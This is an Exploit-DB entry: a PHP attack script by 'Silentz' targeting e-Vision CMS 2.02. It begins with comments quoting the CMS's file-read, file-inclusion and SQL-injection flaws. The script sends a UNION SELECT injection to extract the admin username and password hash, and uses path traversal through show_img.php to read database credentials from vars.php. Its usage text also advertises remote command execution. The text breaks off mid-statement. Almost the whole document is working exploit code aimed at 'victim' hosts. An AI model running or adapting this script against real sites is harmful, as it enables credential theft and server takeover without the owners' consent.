Exploit-DB #4054
Description: e-Vision CMS 2.02 - SQL Injection / Remote Code Execution
Type: webapps
Platform: php
Date: 2007-06-08
Author: Silentz

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

Bug #1 (admin/show_img.php):

#################
#
#	<?php
#
#	$fp = fopen($_GET['img'], "r");
#	$img = fread($fp, filesize($_GET['img']));
#	fclose($fp);
#
#	header("Content-type: ".$_GET['type']);
#	echo $img;
#
#	?>
#
#################

...need i say more?



Bug #2 (admin/functions.php):

#################
#
#	if ( isset($_COOKIE['adminlang']) ) { $language_selector = $_COOKIE['adminlang']; }
#	else { $language_selector = "en"; }
#	include("lang/".$language_selector.".php");
#
#################

...speaks for it self really.



Bug #3 ();

#################
#
#	$sql = "SELECT `style_css` FROM `templates` WHERE `id`='".$_GET['template']."' AND `show`='Y' AND `trash`='N'";
#	$result = mysql_query($sql) or die(mysql_error());
#	$row = mysql_fetch_array($result);
#	$css .= $row['style_css'];
#
#################

...again appauling!

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<4) {
print "-------------------------------------------------------------------------\r\n";
print "    e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_evision.php [OPTION] [HOST] [PATH] ([USER] [PASS] [COMMAND])\r\n\r\n";
print "[OPTION]  = 0 = SQL Injection (Admin user & hash retrieval)\r\n";
print "            1 = Config File Disclosure (Database user & pass retrieval)\r\n";
print "            2 = Remote Code Execution\r\n";
print "[HOST] 	  = Target server's hostname or ip address\r\n";
print "[PATH] 	  = Path where e-Vision CMS is located\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_evision.php 0 victim.com /\r\n";
print "     w4ck1ng_evision.php 1 victim.com /\r\n";
print "     w4ck1ng_evision.php 2 victim.com / username password \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

//Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$cmd  = $argv[4];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function head(){

	print "-------------------------------------------------------------------------\r\n";
	print "    e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit\r\n";
	print "-------------------------------------------------------------------------\r\n";

		}

function footer(){

	print "-------------------------------------------------------------------------\r\n";
	print "            		 http://www.w4ck1ng.com\r\n";
	print "            		        ...Silentz\r\n";
	print "-------------------------------------------------------------------------\r\n";
		}

if ($exploit==0){

    head();
   
    $sql = "-999' UNION SELECT CONCAT(CHAR(85),CHAR(115),CHAR(101),CHAR(114),CHAR(110),CHAR(97),CHAR(109),CHAR(101),CHAR(61),username,CHAR(58),CHAR(58),CHAR(72),CHAR(97),CHAR(115),CHAR(104),CHAR(61),pass) FROM users WHERE idusers=1 /*";
    $sql = urlencode($sql);
    $packet ="GET " . $path . "style.php?template=" . $sql . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"Username="))
     {
       $temp=explode("::Hash=",$html);
       $temp2=explode("Username=",$temp[0]);

	    echo "[+] Admin User: " . $temp2[1] . "\n";

       $temp=explode("Username=",$html);
       $temp2=explode("::Hash=",$temp[1]);

	    echo "[+] Admin Hash: " . $temp2[1] . "\r\n";

	footer();
       die;
     }

else{die(); exit();}}

if($exploit==1){

    $sploit = "admin/show_img.php?img=../vars.php";
    $packet ="GET " . $path . $sploit . " HTTP/1.1\r\n";
    $packet.="Host: " . $host . "\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"<?"))
     {

    	$temp = explode("\$db_user = \"",$html);
    	$temp2 = explode("\";",$temp[1]);
    		$username = $temp2[0];

   	$temp = explode("\$db_pass = \"",$html);
   	$temp2 = explode("\";",$temp[1]);
   		$[CREDENTIAL_REDACTED][0];

   	head();
   	print "[+] Database User: " . $username . "\r\n";
   	pri